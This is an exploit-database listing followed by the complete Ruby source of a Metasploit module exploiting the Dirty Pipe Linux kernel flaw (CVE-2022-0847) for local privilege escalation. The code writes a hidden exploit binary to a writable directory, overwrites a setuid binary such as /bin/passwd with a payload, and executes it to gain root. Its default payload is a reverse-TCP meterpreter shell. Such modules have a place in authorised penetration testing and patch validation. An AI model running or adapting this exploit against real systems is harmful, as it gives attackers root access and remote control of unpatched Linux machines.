Dirty Pipe Local Privilege Escalation

2022.03.13
Credit: timwr
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Dirty Pipe Local Privilege Escalation via CVE-2022-0847', 'Description' => %q{ This exploit targets a vulnerability in the Linux kernel since 5.8, that allows writing of read only or immutable memory. The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102. The module exploits this vulnerability by overwriting a suid binary with the payload, executing it, and then writing the original data back. There are two major limitations of this exploit: the offset cannot be on a page boundary (it needs to write one byte before the offset to add a reference to this page to the pipe), and the write cannot cross a page boundary. This means the payload must be less than the page size (4096 bytes). }, 'License' => MSF_LICENSE, 'Author' => [ 'Max Kellermann', # Original vulnerability discovery 'timwr', # Metasploit Module ], 'DisclosureDate' => '2022-02-20', 'SessionTypes' => ['shell', 'meterpreter'], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64, ], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'AppendExit' => true, 'PrependSetresuid' => true, 'PrependSetresgid' => true, 'PrependSetreuid' => true, 'PrependSetuid' => true, 'PrependFork' => true, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'Privileged' => true, 'References' => [ [ 'CVE', '2022-0847' ], [ 'URL', 'https://dirtypipe.cm4all.com' ], [ 'URL', 'https://haxx.in/files/dirtypipez.c' ], ], 'Notes' => { 'AKA' => [ 'Dirty Pipe' ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('SUID_BINARY_PATH', [ false, 'The path to a suid binary', '/bin/passwd' ]) ]) end def check arch = kernel_arch unless live_compile? || arch.include?('x64') || arch.include?('aarch64') || arch.include?('x86') || arch.include?('armle') return CheckCode::Safe("System architecture #{arch} is not supported without live compilation") end kernel_version = Rex::Version.new kernel_release.split('-').first if kernel_version < Rex::Version.new('5.8') || kernel_version >= Rex::Version.new('5.16.11') || (kernel_version >= Rex::Version.new('5.15.25') && kernel_version < Rex::Version.new('5.16')) || (kernel_version >= Rex::Version.new('5.10.102') && kernel_version < Rex::Version.new('5.11')) return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable") end CheckCode::Appears("Linux kernel version found: #{kernel_version}") end def exp_dir datastore['WRITABLE_DIR'] end def exploit suid_binary_path = datastore['SUID_BINARY_PATH'] fail_with(Failure::BadConfig, 'The suid binary was not found; try setting SUID_BINARY_PATH') if suid_binary_path.nil? fail_with(Failure::BadConfig, "The #{suid_binary_path} binary setuid bit is not set") unless setuid?(suid_binary_path) arch = kernel_arch vprint_status("Detected architecture: #{arch}") vprint_status("Detected payload arch: #{payload.arch.first}") unless arch == payload.arch.first fail_with(Failure::BadConfig, 'Payload/Host architecture mismatch. Please select the proper target architecture') end payload_data = generate_payload_exe[1..] # trim the first byte (0x74) if payload_data.length > 4095 fail_with(Failure::BadConfig, "Payload size #{payload_data.length} is too large (> 4095)") end fail_with(Failure::BadConfig, "#{exp_dir} is not writable") unless writable?(exp_dir) exploit_file = "#{exp_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" if live_compile? vprint_status('Live compiling exploit on system...') exploit_c = exploit_data('CVE-2022-0847', 'CVE-2022-0847.c') exploit_c.sub!(/payload_bytes.*$/, "payload_bytes[#{payload_data.length}] = {#{Rex::Text.to_num(payload_data)}};") upload_and_compile(exploit_file, exploit_c) else vprint_status('Dropping pre-compiled exploit on system...') exploit_bin = exploit_data('CVE-2022-0847', "CVE-2022-0847-#{arch}") payload_placeholder_index = exploit_bin.index('PAYLOAD_PLACEHOLDER') exploit_bin[payload_placeholder_index, payload_data.length] = payload_data upload_and_chmodx(exploit_file, exploit_bin) end register_file_for_cleanup(exploit_file) overwrite_file_path = datastore['SUID_BINARY_PATH'] cmd = "#{exploit_file} #{overwrite_file_path}" print_status("Executing exploit '#{cmd}'") result = cmd_exec(cmd) vprint_status("Exploit result:\n#{result}") end end


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